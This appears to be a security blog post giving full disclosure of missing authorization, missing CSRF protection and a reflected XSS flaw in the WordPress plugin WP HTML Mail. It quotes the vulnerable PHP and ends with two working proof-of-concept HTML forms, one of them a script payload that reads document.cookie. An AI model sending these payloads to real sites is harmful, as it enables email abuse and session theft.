A couple of frequent issues we see with the WordPress security company Wordfence involve them belatedly telling people to update individual plugins instead of just telling people to keep plugins up to date at all times (which they admit would lessen the need for what they are selling) and failing to warn people that plugins still contain easy to spot vulnerabilities. Both of those are true with the plugin WP HTML Mail.

Yesterday, they told people to update the plugin because of a cross-site scripting (XSS) vulnerability that had already been fixed. But while reviewing that, we found the plugin still contains an easy to spot XSS vulnerability and the same code allows anyone logged in to WordPress to send unlimited emails to arbitrary email addresses from the website.

The vulnerabilities lie with the function send_test() in the file /includes/class-haet-mail.php. which is made accessible to anyone logged in to WordPress through its AJAX functionality:

44

add_action('wp_ajax_haet_mail_send_test', array(Haet_Mail(), 'send_test'));

That function doesn’t do any security checks before sending out an email to address specified by the POST input “email”:

46
47
48
49
50
51
52
53
54

function send_test() {
	$email = $_POST['email'];
	echo $email;		
	wp_mail( 
		$email, 
		'WP HTML mail - TEST', 
		$this->get_demo_content(),
		'Content-Type: text/html'
	);

That intended to be used by those with access to the plugin’s admin page, which is limited to Administrators:

155

add_options_page( __('Email','wp-html-mail'), __('Email template','wp-html-mail'), 'manage_options', 'wp-html-mail', array(&$this, 'print_admin_page') );

So there should be a capabilities check to limit access, but there isn’t. There also should be a nonce check to prevent cross-site request forgery (CSRF), but again there isn’t’.

There is also a reflected XSS vulnerability there, as the value of the POST input “email” is output without escaping it.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept for Authenticated Email Sending

The following proof of concept will send out an email to the specified address, when logged in to WordPress.

Replace “[path to WordPress]” with the location of WordPress and “[email address]” with the email address to have the email sent.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=haet_mail_send_test" method="POST">
<input type="hidden" name="email" value="[email address]" />
<input type="submit" value="Submit" />
</form>
</body>

Proof of Concept for Reflected Cross-Site Scripting (XSS)

The following proof of concept will cause any available cookies to be shown in an alert box, when logged in to WordPress. In Safari and other web browsers that provide XSS filtering this proof of concept will not work.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=haet_mail_send_test" method="POST">
<input type="hidden" name="email" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?